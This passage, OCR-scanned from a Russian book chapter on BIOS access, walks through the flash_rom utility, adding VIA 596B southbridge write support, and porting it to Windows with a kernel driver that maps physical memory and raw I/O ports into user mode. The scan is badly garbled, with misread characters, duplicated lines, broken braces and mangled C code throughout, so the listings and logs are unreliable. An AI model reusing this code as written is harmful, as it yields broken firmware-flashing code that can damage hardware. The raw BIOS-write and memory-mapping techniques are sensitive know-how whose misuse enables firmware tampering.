Trying Mx29f002, 256 KB
// Пробуем чип Mx29f002, 256 Кбайт
probe_29f002: idl 218, id2 11
Trying W49F002U, 256 KB
// Пробуем чип W49F002U, 256 Кбайт
probe_49f002: idl Oxda, id2 Oxb
flash chip manufacturer id = Oxda
// Идентификатор производителя чипа = Oxda
W49F002U found at physical address: OxfffcOOOO
// Нашли чип W49F002U по физическому адресу - OxfffcOOOO
Part is W49F002U
// Номер детали - W49F002U
Reading flash ... Done
// Считывание чипа флэш-ROM завершено
В первую очередь необходимо разобраться, что именно происходит во время считывания содержимого чипа ROM BIOS в файл. Процесс начинается с конфигурирования регистров южного моста VIA 956В таким образом, чтобы разрешить доступ к чипу ROM BIOS. Затем утилита выполняет проверку на наличие чипа ROM BIOS из числа поддерживаемых ек>. В данном случае, обнаружен чип Winbond W49F002U, и его содержимое считано и сохранено в файл dump.bin. Инструкции для выполнения именно этих действий были указаны параметром — г при запуске утилиты f iash_rom (см. листинг 9.3).
Файл, считанный из чипа ROM BIOS, сохраняется в двоичном формате, и для его просмотра нужна специальная утилита Linux, называющаяся hexdump. Эта утилита, соответствующая стандарту POSIX (Portable Operating System Interface — интерфейс переносимых операционных систем), включена в большинство дистрибутивов Linux. Формат команды для просмотра содержимого двоичного файла BIOS с помощью этой утилиты в терминале Linux показан в листинге 9.5.
Листинг 9.5. Просмотр сохраненного двоичного файла BIOS в Linux
root@opunaga:/home/pinczakko/Project/ freebios_flash_n_burn# hexdump -f fmt dump.bin | less
Вывод команды hexdump форматируется при помощи специального файл3 форматирования, fmt, который указывается как опция при вызове команДьЬ Это — обычный текстовый файл, содержимое которого показано в листинге 9.6-
Листинг 9.6. Содержимое файла форматирования fmt
„%06.6_ах " 12/1 "%02Х "
. " "%-Р "
лп"
Если у вас возникают затруднения с пониманием листинга 9.6, обратитесь к объяснению листинга 7.11 в разд. 7.3.4. Содержимое обоих файлов одинаково. Результат выполнения команды hexdump, заданной в листинге 9.5, показан в листинге 9.7.
Листинг 9.7. Содержимое файла aump.bin
Адрес
Шестнадцатеричные значенияЗначения ASCII
оооооо
25 F2 2D 6С 68 35 2D 85 ЗА 00 00 СО % . - 1 h 5 - . : . . .
00000с
57 00 00 00 00 00 41 20 01 ОС 61 77 WA..aw
000018
61 72 64 65 78 74 2Е 72 6F 6D DB 74 а г d е х t . г о m . t
000024
20 00 00 2С F8 8Е FB DF DD 23 49 DB . . #I .
03ff9O
00 00 00 00 00 00 00 00 00 00 00 00
03ffe4
00 00 00 00 32 41 36 4С 47 49 33 43 . . . . 2 А 6 L G I 3 С
03fff0
ЕА 5В Е0 00 F0 2А 4D 52 42 2А 02 00. [ . . . * М R В * . .
03fffc
00 00 FF FF. . . .
Шестнадцатеричный дамп файла dump.bin, показанный в листинге 9.7, показывает лишь часть информации настоящего дампа, выводимого в терминале Linux, а именно — первый сжатый модуль двоичного файла BIOS в конце области кода блока начальной загрузки.
Следующим, шагом будет прошивка сохраненного файла обратно в чип ROM Bios. Эта операция необходима, чтобы удостовериться в том, что утилита £lash_rom работает должным образом. Запуск утилиты f iash_rom для выполнения этой задачи и результаты процесса ее исполнения показаны в листинге 9.8.
Листинг 9.8. Прошивка сохраненного двоичного файла BIOS обратно в чип ROM BIOS
r°°t@opunaga: /home/pinczakko/ Pro j ect / f reebios_f lash_n_burn#
’/£lash_rom -wv dump.bin
Calibrating timer since microsleep sucks ...stakes a second
^ Калибрируем таймер, так как функция microsleep никуда не годится.
// Это зайдет всего лишь секунду. Setting up microsecond timing loop // Устанавливаем цикл замера микросекунды. 128М loops per second // 128 миллионов циклов в секунду. OK, calibrated, now do the deed
I/ Таймер откалиброван. Выполняем задание. Enabling flash write on VT82C596B ... OK J( разрешаем запись в VT82C596B. Разрешение успешно. Trying Am29F040B, 512 КВ // Пробуем чип Am29F040B, 512 Кбайт probe_29f040b: idl 0x25, id2 0xf2 Trying At29C040A, 512 KB
// Пробуем чип Am29F040A, 512 Кбайт probe_jedec: idl Oxda, id2 Oxb Trying Mx29f002, 256 KB
И Пробуем чип Mx29f002, 256 Кбайт probe_29f002: idl 218, id2 11
Trying W49F002U, 256 KB
И Пробуем чип W49F002U, 256 Кбайт probe_49f002: idl Oxda, id2 Oxb flash chip manufacturer id = Oxda // Идентификатор производителя чипа = Oxda W49F002U found at physical address: OxfffcOOOO // Чип W49F002U находится по физическому адресу - OxfffcOOOO Part is W49F002U
// Номер детали - W49F002U
Programming Page: address: 0x0003f000
// Записываем страницу по адресу - 0x0003f000
Verifying address: VERIFIED
II Проверяем адрес - ДЕЙСТВИТЕЛЬНЫЙ root@opunaga:/home/pinczakko/Project/freebios_flash_n_burn#
Листинг 9.8 показывает, что утилита flash_rom исследует материнскую плату на наличие известного ей чипа ROM BIOS, прошивает двоичный файл BIOS в чип ROM BIOS и проверяет правильность записи, после чего завершает исполнение.
Если вы усвоили информацию, изложенную в этом подразделе, вы должны уметь уверенно пользоваться утилитой с целью прошивки BIOS. В следу1°' щем подразделе мы подробно рассмотрим метод, используемый для обращения к содержимому чипа ROM BIOS.
2. Внутреннее устройство утилиты flashnburn
рассмотрим подробно, каким образом утилита fiash_n_burn обращается напрямую к чипу ROM BIOS в Linux. Это наиболее важная концепция, которую необходимо освоить. Начнем с рассмотрения методов эффективного отслеживания хода исполнения утилиты f iash_n_burn, исследуя ее исходный код. Опытные программисты и хакеры знают, как эффективно извлечь необходимую им информацию из исходного кода. Для этого требуются следующие важные инструменты:
Мощный текстовый редактор, способный отслеживать ход исполнения программы путем анализа файла тегов (tag file), сгенерированного из исходного кода.
Файл тегов можно сгенерировать с помощью специальной программы. Файл тегов описывает взаимные связи между структурами данных и функциями в исходном коде. При анализе данного кода, я воспользовался текстовым редактором vi, а файл тегов создал с помощью программы с tags.
Начнем с рассмотрения файла тегов. Для этого исполните программу ctags из корневого каталога, в котором размещен исходный код изучаемой программы (листинг 9.9).
Листинг 9.9. Создание файла тегов
pinczakko@opunaga:~/Project/freebios_flash_n_burn> ctags -R *
Значение опций, указываемых при запуске программы ctags, следующие:
О -R — указывает, что каталоги необходимо обходить рекурсивно, начиная с текущего каталога, и включая в файл тегов информацию из исходного кода, хранящегося во всех вложенных каталогах.
$ * — указывает, что необходимо создавать теги для каждого файла, который может быть проанализирован утилитой ctags.
При успешном исполнении, утилита ctags создает файл тегов в текущем каталоге, под названием tags (листинг 9.10).
Листинг 9.10. Фрагмент файла тегов tag в текущем каталоге
P1nczakko@opunaga:-/Project/freebios_flash_n_burn> Is -1
rw~r—r—1 pinczakko users 12794 Aug 8 09:06 tags
Теперь мы можем проследить за логикой исполнения исходного кода с помощью текстового редактора vi. Начнем с анализа главного файла утилиты flash_n_bum — flashrom.c. Откройте его в редакторе vi и найдите в нем функцию main. При анализе исходного кода, мы всегда должны начинать с нахождения функции точки входа. В данном случае, такой функцией является функция main. Теперь мы можем начать исследовать логику исходного кода. Для этого поместите курсор в код функции, чье определение вы хотите узнать, и нажмите комбинацию клавиш <Ctrl>+<]>. Курсор переместится в определение функции. Чтобы просмотреть определение структуры данных объекта6, поместите курсор на переменную-член экземпляра и вновь нажмите комбинацию клавиш <Ctrl>+<]>. Курсор переместится в определение структуры данных объекта. Чтобы возвратиться из определения функции или структуры данных в вызывающую функцию, нажмите комбинацию клавиш <Ctrl>+<t>. Обратите внимание, что данные "горячие клавиши" действительны только для редактора vi; в других редакторах они могут быть иными. Пример исследования логики исполнения исходного кода показан в листинге 9.11. Обратите внимание на то, что в этом листинге приведены только фрагменты кода, представляющие для нас интерес. Кроме того, листинг снабжен комментариями, поясняющими процесс изучения кода.
Листинг 9.11. Изучение логики исходного кода утилиты flash_n_burn
II — file: flash_rom.c —
int main (int argc, char * argv[]) (
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
(void) enable_flash_write(); // Чтобы перейти к определению этой // функции, поместите курсор в вызов // функции enable_flash_write // и нажмите Ctrl+].
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
}
// Часть строк кода опущена, как не являющаяся необходимой
Объект — это экземпляр структуры данных. Например, если имеется структур3 данных my_type, тогда переменная my_variable, объявленная как my_type my_variable, является объектом.
// для понимания рассматриваемого процесса.
int enable_flash_write() {
И При нажатии клавиш Ctrl+], курсор перемещается сюда.
И Для возврата в функцию main О, нажмите Ctrl+t здесь.
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
}
Текущая версия утилиты flash_n_burn не поддерживает южный мост VIA 596В, и мне пришлось модифицировать ее, чтобы добавить эту поддержку. Без этой возможности обращение к чипу ROM BIOS из Linux невозможно. Позже я объясню, как добавить поддержу этого моста. А сейчас давайте применим наши теоретические знания на практике и изучим логику исходного кода утилиты f lash_n_burn.
Точка входа утилиты находится в функции main в файле flash rom.c. В этой функции находится вызов функции enabie_fiash_write, которая разрешает декодирование области адресов BIOS, прилегающей к верхней границе первых 4 Гбайт адресного пространства. Перейдем к определению этой функции. Здесь мы находим вызов функции-члена поддерживаемого объекта южного моста. Функция называется doit. Это функция для конкретного чипсета, определенная с целью разрешить доступ к диапазону адресов BIOS. Вызов функции doit показан в листинге 9.12.
Листинг 9.12. Вызов функции-члена doit
int
enable_flash_write() {
int i;
struct pci_access *pacc;
struct pci_dev *dev = 0;
FLASH_ENABLE *enable = 0;
pacc = pci_alloc();Pci_init(pace);Pci_scan_bus(pace);pacc = pci_alloc();Pci_init(pace);Pci_scan_bus(pace);// Получаем структуру pci_access.
pacc = pci_alloc();
Pci_init(pace);
Pci_scan_bus(pace);
pacc = pci_alloc();
Pci_init(pace);
Pci_scan_bus(pace);
// Устанавливаем опции.
//Я устанавливаю опции по умолчанию.
// Инициализируем библиотеку PCI.
// Получаем перечень устройств.
// Пробуем найти наш чипсет.
for(i = 0; i < sizeof(enables)/sizeof(enables[0]) && (! dev); i++) { struct pci_filter f;
struct pci_dev *z;
//Первый параметр не используется.
pci_filter_init((struct pci_access *) 0, &f); f.vendor = enables[i].vendor;
f.device = enables[i].device;
for(z = pacc->devices; z; z = z->next) if (pci_filter_match(&f, z)) {
enable = &enables[i);
dev = z;
)
// Выполняем задание.
if (enable) (
printf("Enabling flash write on %s...", enable->name);
// Разрешается прошивка на
// Вызываем функцию doit, чтобы разрешить доступ
// к диапазону адресов BIOS примыкающих к верхней // границе первых 4 ГБ адресного пространства.
if (enable->doit (dev, enable->name) == 0) printf("OK\n");
)
return 0;
Прежде чем рассматривать процедуру для конкретного чипсета, давайте ознакомимся с определением структуры данных, чьим членом является функция doit. Чтобы попасть в это определение, следует поместить курсор в слово doit в вызове функции doit:
if (enab]e->doit(dev, enable->name) =- 0)
Затем нажмите клавиши <Ctrl>+<]>, чтобы переместить курсор в необходимый исходный код. Определение нашей структуры данных показано в листинге 9.13.
Листинг 9.13. Определение структуры данных FLASH_ENABLE
typedef struct penable {
unsigned short vendor, device;
char *name;
int (*doit)(struct pci_dev *dev, char *name); } FLASH_ENABLE;
}(ак видно из листинга 9.13, эта структура данных называется flashjenable, и один из ее членов является указателем на функцию doit. В листинге 9.14 показаны экземпляры flash_enable, которые перебираются в процессе попыток разрешить доступ к чипу ROM BIOS через южный мост. Эти экземпляры flash_enable являются частями объекта, который называется enables. Чтобы узнать, какие чипсеты изучаемый объект поддерживает в настоящее время, необходимо трассировать исходный код до определения этого объекта. Для этого следует возвратиться из предыдущего определения flash_enable к функции enabie_fiash_write и оттуда сделать переход к определению объекта enables. Определение объекта enables показано в листинге 9.14.
стинг 9.14. Определение объекта enables
FLASH_ENABLE enables [] = {
(0x1, 0x1, "sis630 — what's the ID?", enable_flash_sis630},
(0x8086, 0x2480, "E7500", enable_flash_e7500},
(0x1106, 0x8231, "VT8231", enable_flash_vt8231},
(0x1106, 0x3177, "VT8235", enable_flash_vt8235},
(0x1078, 0x0100, "CS5530", enable_flash_cs5530},
(0x100b, 0x0510, "SCHOO”, enable_flash_scll00},
(0x1039, 0x8, "SIS5595", enable_flash_sis5595),
Как видите, в данном определении еще нет поддержки южного моста VIA 596В. Определение не содержит ни идентификатора устройства для VIA 596В, ни функции, реализующей поддержку данного моста (такая функция могла бы называться, например, enable_flash_vt82C596B или иметь похожее имя). Чтобы добавить в объект enables поддержку для VIA 596В, следует Добавить в объект enables новый член, как показано в листинге 9.15.
Листинг 9.15. Новое определение объекта enables
F1ASH_ENABLE enables [] = (
10x1, 0x1, "sis630 — what's the ID?", enable_flash_sis630),
(0x8086, 0x2480, "E7500", enable_flash_e7500},
(0x1106, 0x8231, "VT8231", enable_flash_vt8231),-
(0x1106, 0x0596, "VT82C596B", enableflash_vt82C596B},
(0x1106, 0x3177, "VT8235", enable_flash_vt8235},
(0x1078, 0x0100, "CS5530", enable_flash_cs5530),
(0x100b, 0x0510, "SCHOO", enable_flash_scllOO}, (0x1039, 0x8, "SIS5595", enable_flash_sis5595},
Итак, в листинге 9.15 появился новый экземпляр flash_ebable, добавленный в объект enables. Этот экземпляр представляет мост PCI-ISA в южном мосте VIA 596В. Значение идентификатора PCI производителя моста PCI-ISA — H06h, идентификатора устройства — 596Н, а его функция doit называется enable_flash_vt82C596B. Обратите внимание, что в шинной топологии чип ROM BIOS находится за шиной ISA. По этой причине, регистры, управляющие доступом к чипу ROM BIOS, находятся в мосту PCI-ISA. Более того, в составе южного моста существует множество функций PCI, и мост PCI-ISA — это всего лишь одна из них. В современных чипсетах функциональные возможности моста PCI-ISA выполняет мост LPC, и чип ROM BIOS соединяется с чипсетом с помощью интерфейса LPC. Реализация функции enable. fiash_vt82C596B показана в листинге 9.16.
Листинг 9.16. Функция enable„flash„ И82С596В
int
enable_flash_vt82C596B(struct pci_dev *dev, char *name) { unsigned char val;
// Разрешается декодирование диапазонов адресов FFF00000h-FFF7FFFFh, И FFF80000h-FFFDFFFFh, и FFFEOOOOh-FFFEFFFFh для доступа
// к чипу флэш-ROM BIOS.
val = pci_read_byte(dev, 0x43);
val |= OxEO;
pci_write_byte(dev, 0x43, val);
if (pci_read_byte(dev, 0x43) != val) {
printf("tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n",
0x43, val, name);
// He удалось установить. ЭТО ТОЛЬКО ПРЕДУПРЕЖДЕНИЕ
0x43, val, name);
return -1;
// разрешается запись флэш BIOS для VIA 596В.
val = pci_read_byte(dev, 0x40);
val |= 0x01;
pci_write_byte(dev, 0x40, val);
if (pci_read_byte(dev, 0x40) != val) {
printf("tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n", 0x40, val, name);
//He удалось установить. ЭТО ТОЛЬКО ПРЕДУПРЕЖДЕНИЕ 0x40, val, name);
return -1;
}
return 0;
)
Как показано в листинге 9.16, для разрешения доступа к чипу ROM BIOS, сначала разрешается декодирование диапазона адресов BIOS, а потом — запись в чип ROM BIOS посредством конфигурирования соответствующих конфигурационных регистров моста PCI-ISA. В исходном коде утилиты flash_n_burn для продолжения попыток определения необходимого чипа BIOS и выполнения операций записи или чтения с ним успешное завершение функции doit не является обязательным. Но для большинства современных материнских плат успешное выполнение этой функции — обязательное условие для получения доступа к чипу ROM BIOS. После того как я добавил код, приведенный в листинге 9.16, и модифицировал структуру данных enables, как показано в листинге 9.15, я перекомпилировал новый исходный код утилиты fiash_n_burn и испытал полученный исполняемый файл, выполнив чтение содержимого чипа ROM BIOS. Утилита работала должным образом.
За информацией о конфигурационных регистрах моста PCI-ISA южного моста VIA 596В обратитесь к соответствующей технической документации.
9-3. Доступ к содержимому BIOS Материнской платы из Windows
Этом разделе я продемонстрирую, как получить доступ к содержимому Чипа ROM BIOS из Windows. Создание с нуля утилиты для прошивки BIOS Из Windows связано с большими трудностями. Вместо этого, я покажу, как ^Ренести на Windows утилиту f iash_n_burn, с которой мы познакомились
'Ззак. 1387
376 Часть IV. Внесение изменений в код Biq^ в предыдущем разделе. Но и эта задача тоже далеко не тривиальна, так как требуется разрешить некоторые вопросы, связанные с особенностями целевой операционной системы. Кроме того, прежде чем приступить к работе по пере. носу, необходимо выработать четкое представление о логической архитекту. ре утилиты fiash_n_burn для Windows. В дальнейшем я буду называть эту версию утилиты flash_n_burn для Windows bios_probe, по имени конечного исполняемого файла утилиты — bios_probe.exe.
Логическая архитектура утилиты bios_probe показана на рис. 9.1.
Схема логической архитектуры утилиты bios_probe, представленная на рис. 9.1, не дает четкого представления о том, каким образом следует разбить на компоненты утилиту fiash_n_brun для Linux. В реализации утилиты для Linux компоненты накладываются друг на друга, поскольку в этой операционной системе существует файл /dev/mem и доступен уровень привилегированного ввода/вывода (IOPL, I/O privilege level). Файл /dev/mem — это виртуальный файл, представляющий собой виртуальный образ общего адресного пространства физической памяти в Linux. Уровень IOPL — это механизм, с помощью которого пользователь с правами администратора может получить прямой доступ к портам из операционной системы. В Windows нет ни одной из этих возможностей. Поэтому, чтобы выявить подпрограммы, которые нужно отделить от остального кода и реализовать как драйверы устройств Windows, необходимо разбить исходный вариант fiash_n_brun на компоненты bios_probe, показанные на рис. 9.1.
Рис. 9.1. Логическая архитектура утилиты bios_probe
^аким образом, становится ясно, что компоненты 2 и 3, представленные на рис. 9.1, следует реализовать в виде драйверов устройства. Составляющая 2 соДеРжит стандартные для Linux функции прямого ввода-вывода, а имен
но outb, outw, outl, inb, inw и ini. Составляющая 3 заменит функцию Linux nmap, аналога которой в Windows не существует. В версии ути-
литы для Linux, т. е. fiash_n_burn, функция nmap отображает чип ROM
glOS на адресное пространство запрашивающего пользовательского при-
дожения.
Исходный код версии 0.26 утилиты bios_probe можно скачать по адресу http://www.megaupload.com/?d=3QOD8VOO. Я должен предупредить вас о том, что это — новейшая версия утилиты, которая на момент написания этой книги еще не была полноценно протестирована. Утилита поддерживает большое количество чипов флэш-ROM BIOS, но я успешно испытал ее только на материнской плате с южным мостом VIA 596В и чипом ROM BIOS Winbond W49F002U и на материнской плате с южным мостом Intel ICH5 и чипом флэш-ROM BIOS Winbond W39V040FA. Структура каталога исходных кодов утилиты bios_probe показана на рис. 9.2.
В О V0.26В О V0.26fei k.'^l ехеfei k.'^l ехеlibpcilibpci£2) release£2) release
В О V0.26
В О V0.26
fei k.'^l ехе
fei k.'^l ехе
libpci
libpci
£2) release
£2) release
Рис. 9.2. Структура каталогаисходных кодов утилиты bios_probe
Корневой каталог исходных кодов bios_probe называется v0.26, что отображает текущую версию исходного кода.
Подкаталог ехе в корневом каталоге содержит исходный код для приложения пользовательского режима bios_probe, а подкаталог sys — исходный код Драйвера устройства. Подкаталог libpci каталога ехе содержит исходный КоД для статической библиотеки, используемой для "зондирования" шины ^- В последующих подразделах содержимое этих каталогов будет рассмотрено более подробно.
Этот исходный код предоставляет солидное основание, к которому можно Добавить поддержку для других чипсетов и чипов флэш-ROM.
Драйвер устройства режима ядра утилиты bios_probe
В этом подразделе термины драйвер и драйвер устройства обозначают драйвер устройства режима ядра утилиты bios_probe.
Для создания драйвера утилиты bios_probe вам потребуется программный продукт Windows DDK (driver development kit — набор инструментальных средств разработки драйверов), предназначенный для Windows 2000 или Windows ХР. Компоновка драйвера осуществляется при помощи утилиты build в среде DDK. Процесс компоновки драйвера устройства в среде разработки драйверов Windows ХР DDK показан в листинге 9.17.
Листинг 9.17. Компоновка драйвера устройства
F: \A-List_Publishing\Windows_BIOS__Flasher\current\sys>build
BUILD: Adding /Y to COPYCMD so xcopy ops won't hang.
// BUILD: Добавляем /Y к COPYCMD чтобы при операции xcopy не зависали.
BUILD: Object root set to: ==> objfre_wxp_x86
// BUILD: Корневой объект установлен как: ==> objfre_wxp_x86
BUILD: Compile and Link for i386
// BUILD: Скомпилировать и скомпоновать для i386
BUILD: Loading C:\WINDDK\2600~l.110\build.dat...
H BUILD: Загружается C:\WINDDK\2600~1.110\build.dat...
BUILD: Computing Include file dependencies:
// BUILD: Вычисляются зависимости файла Include
BUILD: Examining f:\a-list_publishing\windows_bios_flasher\current\ sys directory for files to compile.
// BUILD: Проверяется каталог f:\a-list_publishing\windows_bios_flasher\ current\sys на наличие файлов для компиляции.
f:\a-list_publishing\windows_bios_flasher\current\sys - 1 source files (888 lines)
BUILD: Saving C:\WINDDK\2600~1.110\build.dat...
II BUILD: Сохраняется C:\WINDDK\2600~1.110\build.dat—
BUILD: Compiling f:\a-list_publishing\windows_bios_flasher\current\ sys directory
H BUILD: Компилируется директория f:\a-list_publishing\windows_bios_flasher\ current\sys
Compiling - bios_probe.c for i386
II Компилируется - - bios_probe.c for i386
BUILD: Linking f:\a-list_publishing\windows_bios_flasher\current\ sys directory
I, BUILD: Компонуется директория f:\a-list_publishing\windows_bios_flasher\ 'urrent\sys'
Linking Executable - i386\bios_probe.sys for i386
// Компонуется исполняемый файл - i386\bios_probe.sys для i386
BUILD: Done
// BUILD: Создание драйвера завершено
2 files compiled // Скомпилировано 2 файла.
1 executable built // Создан 1 исполняемый файл.
Теперь рассмотрим полную версию исходного кода драйвера, который реализует компоненты утилиты bios_probe, представленные на рис. 9.1 под номерами 2 и 3. Начнем с файла интерфейса, который подключает приложение пользовательского режима к драйверу устройства — interface.h (листинг 9.18).
1стинг 9,18. Файл interface.h
/*
* Это файл интерфейса, который подключает приложение
* пользовательского режима к драйверу режима ядра.
* ПРИМЕЧАНИЕ:
* - Необходимо применить #include <winioctl.h> до того, как
* включать этот файл в приложение пользовательского режима.
* - Возможно нужно применить #include <devioctl.h> до того, как
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0804,CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0804,* включать этот файл в драйвер режима ядра.
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0804,
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0804,
#define IOCTL_WRITE_PORT_WORDCTL_CODE(FILE_DEVICE_UNKNOWN, 0x0805,
METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
#define IOCTL_WRITE_PORT_LONGCTL_CODE(FILE_DEVICE_UNKNOWN, 0x0806,
METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA')
#define IOCTL_MAP_MMIOCTL_CODE(FILE_DEVICE_UNKNOWN, 0x0809,
METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
#define IOCTL_UNMAP_MMIOCTL_CODE (FILE_DEVICE_UNKNOWN, 0x080A,
METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
e num {
MAX_MAPPED_MMIO = 256 // Максимальное число зон MMIO };
#pragma pack (push, 1)
typedef struct _IO_BYTE {
unsigned short port8;
unsigned char values;
}IO_BYTE;
typedef struct _IO_WORD {
unsigned short port16;
unsigned short valuel6;
}I0_W0RD;
typedef struct _IO_LONG {
unsigned short port32;
unsigned long value32;
}IO_LONG;
typedef struct _MMIO_MAP {
unsigned long phyAddrStart; // Начальный адрес физического адресного
// пространства, которое нужно отобразить unsigned long size; // Размер физического адресного пространства, // которое нужно отобразить.
void * usermodeVirtAddr; // Начальный виртуальный адрес MMIO // с точки зрения пользовательского режима. }ММ1О_МАР, *РММ1О_МАР;
#pragma pack (pop)
Подключаемый файл интерфейса interface.!!, приведенный в листинге 9.18, находится в корневом каталоге исходного кода. Файл предоставляет интерфейс между приложением пользовательского режима bios_mode и его драйвером устройства Windows. Сокращение ММЮ в листинге 9.18 обозначает отображенный в память ввод-вывод (memory-mapped I/O).
для полного понимания кода, представленного в листинге 9.18, необходимо наличие предварительного опыта по разработке драйверов устройств под Windows 2000/ХР. Если такого опыта у вас нет, я рекомендую вам прочесть дрта Бейкера и Джерри Лозано (Art Baker and Jerry Lozano) "The Windows 2000 Device Driver Book: A Guide for Programmers (Second Edition)" или книгу Уолтера Они 10 (Walter Oney) "Programming the Microsoft Windows Driver Model (Second Edition)". •
Исходный код, показанный в листинге 9.18, предоставляет интерфейс между приложением пользовательского режима и драйвером устройства посредством определения кодов IOCTL (input/output control — управление вводом- выводом) и некоторых структур данных. Коды IOCTL определены в макросе ctl_code. Например, чтобы прочитать один байт из какого-либо порта, определяется код ioctl_read_port_byte. Делается это следующим образом:
Mefine IOCTL_READ_PORT_BYTE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0801, METHOD_IN_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
Приложение пользовательского режима использует коды IOCTL в качестве коммуникационного кода для "общения" с Драйвером устройства посредством функции Windows API DeviceioControi. Код IOCTL можно представить себе в виде "телефонного номера", по которому можно позвонить определенному сервису, предоставляемому драйвером устройства. Соответствующая логика показана в рис. 9.3.
Код IOCTL передается из приложения пользовательского режима через Функцию API DeviceioControi. Этот код будет передан подсистемой Диспетчера ввода-вывода ядра Windows необходимому драйверу устройства с помощью пакета IRP (I/O request packet — пакет запроса ввода-вывода). Пакет IRP представляет собой структуру данных, с помощью которой диспетчер ввода-вывода взаимодействует с драйверами устройств Windows. Как Доказано в листинге 9.19, код IOCTL передается во втором входном параметРе При вызове функции DeviceioControi. '
Рис. 9.3. Принцип работы кода IOCTL
Листинг 9.19. Определение функции Win32API DeviceloControl
BOOL DeviceloControl( HANDLE hDevice, DWORD dwIoControlCode, LPVOID IpInBuffer, DWORD nlnBufferSize, LPVOID IpOutBuffer, DWORD nOutBufferSize, LPDWORD IpBytesReturned, LPOVERLAPPED IpOverlapped
Кроме кода IOCTL, в функции DeviceloControl имеются определенные параметры типа pointer-to-void (указатель на пустой тип)11, которые используются приложениями пользовательского режима для обмена данными с ДраИ^ верами устройств. Так как эти параметры являются указателями на пустой
11 Параметр pointer-to-void объявляется типом lpvoid. В листинге 9.9 параметра^11 этого типа являются параметры LPVOID IpInBuffer и lpvoid IpOutBuffer-
тИп, они могут указывать на данные любого типа. Чтобы воспользоваться эТими параметрами, следует определить структуры данных, которые будут ^пользоваться приложением пользовательского режима и драйвером устройства. Для указания на экземпляр такой структуры данных и применяются указатели на пустой тип в функции Deviceiocontroi. Для этого указатель на пустой тип преобразуется в указатель на вновь созданную структуру данных и впоследствии используется для манипулирования содержимым экземпляра структуры данных. Такие структуры данных определены в листинге 9.18 с помощью ключевого слова typdef следующим образом:
typedef struct _IO_LONG {
unsigned short port32;
unsigned long value32;
}IO_LONG;
Используя аналогию с телефонным номером, содержимое этих структур данных можно рассматривать как "разговор” между приложением пользовательского режима и драйвером устройства. Обратите внимание, что в драйвере bios_probe каждый код IOCTL может сопоставляться только с одной структурой данных, но одна структура данных может сопоставляться с несколькими кодами IOCTL. Например, код IOCTL ioctl_read_port_long сопоставляется со структурой данных io_long, и с этой же структурой данных сопоставляется и код IOCTL ioctl_write_port_long. Как код IOCTL_READ_PORT_BYTE, ТЭК И КОД IOCTL_WRITE_PORT_BYTE СОПОСТаВЛСНЫ СО структурой данных io_byte и так далее.
Перейдем к рассмотрению наиболее важного фрагмента драйвера устройства bios_probe. Начнем рассмотрение с внутреннего заголовка драйвера устройства. Файл заголовка называется bios_probe.h, и его исходный код показан в листинге 9.20.
Листинг 9.20. Файл bios_probe.h
tifndefBIOS_PROBE_H__
defineBIOS_PROBE_H__
include <ntddk.h>
include "../interfaces.h"
* * Отладочные макросы
Sif DBG
define BIOS_PROBE_KDPRINT (_x_) \
DbgPrint("BIOSJPROBE.SYS: ”);\ DbgPrint _x_;
#else
#define BIOS_PROBE_KDPRINT(_x_)
#endif
#define BIOS_PROBE_DEVICE_NAME_U L"\\Device\\bios_probe"
#define BIOS_PROBE_DOS_DEVTCE_NAME_U L"\\DosDevices\\bios_probe"
typedef struct _MMIO_RING_0_MAP{
PVOID sysAddrBase; // Начальный' системный виртуальный адрес
// отображенного физического диапазона адресов.
ULONG size;// Размер отображенного физического
// диапазона адресов.
PVOID usermodeAddrBase; // Указатель на виртуальный адрес
// пользовательского режима,
// куда этот диапазон отображен.
PMDL pMdl; // Список дескриптора данных для диапазона MMIO,
// который нужно отобразить.
}MMIO_RING_0_MAP, *PMMIO_RING_0_MAP;
typedef struct _DEVTCE_EXTENSION{
MMIO_RING_0_MAP mapZone[MAX_MAPPED_MMIO]; }DEVICE_EXTENSION, *PDEVICE_EXTENSION;
NTSTATUS DriverEntry( IN PDRIVER_OBJECT Driverobject, IN PUNICODE_STRING registryPath );
NTSTATUS DispatchCreate( IN PDEVICE_OBJECT Deviceobject, IN PIRP Irp );
NTSTATUS Dispatchclose( IN PDEVTCE_OBJECT Deviceobject, IN PIRP Irp );
VOID DispatchUnload( IN PDRIVER_OBJECT Driverobject );
NTSTATUS DispatchRead( IN PDEVICE_OBJECT Deviceobject, IN PIRP Irp ) ,-
NTSTATUS Dispatchwrite( IN PDEVTCE_OBJECT Deviceobject, IN PIRP Irp );
NTSTATUS DispatchloControl( IN PDEVTCE_OBJECT Deviceobject, IN PIRP Irp);
#endif ЦBIOS_PROBE_H__
(рава 9. Обращение к BIOS из операционной системы 385 ^утренний заголовок драйвера устройства не экспортируется в элементы внешней системы, т. е. он не должен включаться во внешние программные модули» которые не являются частью драйвера устройства bios_probe. ДаннЫЙ файл содержит объявления внутренних функций и структур данных драйвера устройства.
Начнем рассмотрение его содержимого с объявлений функций. Как показано в листинге 9.20, точкой входа драйвера устройства Windows является функция DriverEntry. Данная функция имеет два входных параметра — указатель на объект драйвера и указатель на строку в кодировке Unicode, которая указывает на элемент реестра, сопоставленный драйверу. Эти параметры передаются драйверу операционной системой Windows при первой загрузке драйвера в память. Задачами функции DriverEntry является инициализация указателей функций значениями, указывающими на функции, которые будут предоставлять сервисы драйвера, а также инициализация экспортируемого имени12 драйвера, чтобы пользовательское приложение могло открыть дескриптор драйвера. Этому вопросу будет уделено более пристальное внимание при рассмотрении файла bios_probe.c. Сервисы, которые предоставляет данный драйвер — это те функции в листинге 9.20, имена которых начинаются со слова Dispatch. Назначение этих функций можно достаточно легко определить по их названиям.
